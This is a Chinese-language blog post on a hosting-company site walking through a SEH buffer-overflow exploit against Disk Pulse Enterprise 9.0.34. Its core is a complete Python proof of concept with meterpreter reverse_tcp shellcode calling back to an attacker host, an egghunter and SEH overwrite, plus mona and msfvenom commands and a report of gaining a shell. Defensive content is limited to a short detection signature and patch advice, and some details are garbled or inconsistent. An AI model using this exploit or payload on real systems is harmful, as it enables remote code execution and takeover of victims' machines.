高防服务器

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析


如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

发布时间:2022-01-14 17:14:34 来源:高防服务器网 阅读:54 作者:柒染 栏目:安全技术

小编今天带大家了解如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析,文中知识点介绍的非常详细。觉得有帮助的朋友可以跟着小编一起浏览文章的内容,希望能够帮助更多想解决这个问题的朋友找到问题的答案,下面跟着小编一起深入学习“如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析”的知识吧。

一、漏洞简介

Disk Pulse Eneterprise是一款监视磁盘变化的软件,它可以通过一个管理端口9120或者web管理窗口80对软件进行连接管理,从而监视磁盘的变化情况。在Disk Pulse Eneterprise中有一个动态链接库libspp.dll ,其中有一些负责HTTP操作的函数,问题就出现在这个动态链接库中,在处理后数据时,由于对于后数据没有进行严格的长度控制,导致在执行获取后数据时向无效内存拷贝数据造成缓冲区溢出,触发SEH异常行为处理,最后控制EIP,执行任意代码。

软件下载链接:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)

漏洞披露地址:https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)

二、实验环境

windows 7 x86:系统环境

IDA pro:静态分析工具

免疫调试器:漏洞分析专用调试器

WinDbg的:漏洞调试器

三、漏洞分析

先简单看一下POC,是一个比较综合的缓冲区溢出漏洞。其中涉及了SEH结构化异常处理程序,以及egghunter技术。

SEH概述

结构化异常处理(SEH)是一种用于处理硬件和软件异常的窗口机制,熟悉编程的人可能熟悉异常处理结构。它通常表示为尝试/除和的try / catch代码块。

Egghunter概述

简单来说就是一种寻址技术,通过设计标记,然后去跳转到另一个标记所在的位置,执行的shellcode。当缓冲区太小不能放下我们的shellcode的存放,这时就需要egghunter技术。

首先,我们先分析一下POC

#!/usr/bin/python  import socket  import sys    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  connect=s.connect(('192.168.46.160',80))    #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0ax0dx26' -f python --smallest  buf =  ""  buf += "xdbxdfxd9x74x24xf4xbax92xa7xaexd7x5bx29"  buf += "xc9xb1x56x31x53x18x83xc3x04x03x53x86x45"  buf += "x5bx2bx4ex0bxa4xd4x8ex6cx2cx31xbfxacx4a"  buf += "x31xefx1cx18x17x03xd6x4cx8cx90x9ax58xa3"  buf += "x11x10xbfx8axa2x09x83x8dx20x50xd0x6dx19"  buf += "x9bx25x6fx5exc6xc4x3dx37x8cx7bxd2x3cxd8"  buf += "x47x59x0exccxcfxbexc6xefxfex10x5dxb6x20"  buf += "x92xb2xc2x68x8cxd7xefx23x27x23x9bxb5xe1"  buf += "x7ax64x19xccxb3x97x63x08x73x48x16x60x80"  buf += "xf5x21xb7xfbx21xa7x2cx5bxa1x1fx89x5ax66"  buf += "xf9x5ax50xc3x8dx05x74xd2x42x3ex80x5fx65"  buf += "x91x01x1bx42x35x4axffxebx6cx36xaex14x6e"  buf += "x99x0fxb1xe4x37x5bxc8xa6x5fxa8xe1x58x9f"  buf += "xa6x72x2axadx69x29xa4x9dxe2xf7x33x94xe5"  buf += "x07xebx1ex65xf6x0cx5exafx3dx58x0exc7x94"  buf += "xe1xc5x17x18x34x73x12x8ex77x2bx0cxe5x10"  buf += "x29x51xe8xbcxa4xb7x5ax6dxe6x67x1bxddx46"  buf += "xd8xf3x37x49x07xe3x37x80x20x8exd7x7cx18"  buf += "x27x41x25xd2xd6x8exf0x9exd9x05xf0x5fx97"  buf += "xedx71x4cxc0x89x79x8cx11x3cx79xe6x15x96"  buf += "x2ex9ex17xcfx18x01xe7x3ax1bx46x17xbbx2d"  buf += "x3cx2ex29x11x2ax4fxbdx91xaax19xd7x91xc2"  buf += "xfdx83xc2xf7x01x1ex77xa4x97xa1x21x18x3f"  buf += "xcaxcfx47x77x55x30xa2x0bx92xcex30x24x3b"  buf += "xa6xcax74xbbx36xa1x74xebx5ex3ex5ax04xae"  buf += "xbfx71x4dxa6x4ax14x3fx57x4ax3dxe1xc9x4b"  buf += "xb2x3axfax36xbbxbdxfbxc6xd5xd9xfcxc6xd9"  buf += "xdfxc1x10xe0x95x04xa1x57xa5x33x84xfex2c"  buf += "x3bx9ax01x65"    #pop pop ret 1001A333    nseh = "xEBx0Bx90x90"  seh = "x33xA3x01x10"    egghunter = "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"  egghunter += "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"    evil =  "POST /admin  HTTP/1.1rn"  evil += "Host: 192.168.46.160rn"  evil += "User-Agent: Mozilla/5.0rn"  evil += "Connection: closern"  evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"  evil += "Accept-Language: en-us,en;q=0.5rn"  evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn"  evil += "Keep-Alive: 300rn"  evil += "Proxy-Connection: keep-alivern"  evil += "Content-Type: application/x-www-form-urlencodedrn"  evil += "Content-Length: 21000rnrn"  evil += "x41" * 12292 #subtract/add for payload  evil += "w00tw00t"  evil += "x90" * 20  evil += buf  evil += "x90" * 50  evil += "x42" * 1554  evil += nseh  evil += seh  evil += "x90" * 20  evil += egghunter  evil += "x90" * 7000    print 'Sending evil buffer...'  s.send(evil)  print 'Payload Sent!'  s.close()

攻击者构建了http请求包,可以看出post请求,url是/ login,content-length:17000。发送了12292个“ x41”字节,然后发送了“w00tw00t”8个字节,之后发送了20个 “ X90” NOP字节,之后发送的buf,再加50个NOP,1614个 “ X42”,接下来就是SEH的异常处理机制(不太懂的同学可以去深入了解一下),接下来是egghunter执行代码,大概意思就是去跳转到含有双重 “w00t” 的地方执行。剩下就是对缓冲区的填充。

接下来我们使用文DBG打开带有漏洞版本的应用程序。

发送有效载荷,触发漏洞。输入克,返回地址被覆盖,KB查看堆栈调用。

这里调用了libspp.dll的SCA_HttpParser的GetNextString函数,接下来程序进入SHE异常行为处理,通过覆盖SEH Handler打到代码执行。

打开IDA,分析10092822处,在libspp中SCA_HttpParse类负责处理HTTP的一些相关操作,其中有一个函数名为ExtractPostData负责处理后数据,在这个函数入口下断点。这个函数的入口地址为10092510

发送缓冲区全用一个代替的POC,触发漏洞,如下图所示:

查看传参情况,后期数据作为第二个参数传入,注意是完整传入。

这里继续单步跟踪,到达之前说到的GetNetString函数。

这个函数会做一件事情,就是将第一个参数,也就是后期数据进行拆分,将每一部分分离出来作为后续处理,单步步过,可以看到第一次进入GetNextString之后,拆分了第一个数据。

第一次分离出来了用户名,接下来,再次进入GetNextString开始拆分第二个字符串,这个拆分过程会执行一系列的拷贝操作。

这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。

因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。

看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。

之后看一下ECX的值

CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。

再来看一下GetNextString函数的伪代码。

四、漏洞利用

首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。

我们需要找到SHE的偏移量。

利用蒙娜丽莎命令生成20000个字符

!mona pattern_create 20000

运行完在C:日志 FTPServer的 pattern.txt中找到。

重启程序,将其加入到脚本中的BUF中运行

使用蒙娜丽莎命令来寻找SEH偏移量

!mona findmsp

查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。

偏移量是14292。

接下来,要寻找pop pop ret的地址

使用!mona seh

打开seh.txt日志查找指向POP POP RET序列的代码块地址。

设置的shellcode里面的

nseh =“ xEB  x0B  x90  x90”seh =“ x33  xA3  x01  x10”

利用msf生成通用的shellcode,命令如下

msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b' x00  x0a  x0d  x26'-f python -smallest

在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。

重启程序,打开的Metasploit

选择开发模式

输入命令,设置参数

发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。

五、漏洞利用特征:

请求方式:POST

请求路径:/登录

漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |

六、防御建议

升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。

下载地址:https://www.diskpulse.com/downloads.html

感谢大家的阅读,以上就是“如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析”的全部内容了,学会的朋友赶紧操作起来吧。相信高防服务器网小编一定会给大家带来更优质的文章。谢谢大家对高防服务器网网站的支持!

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[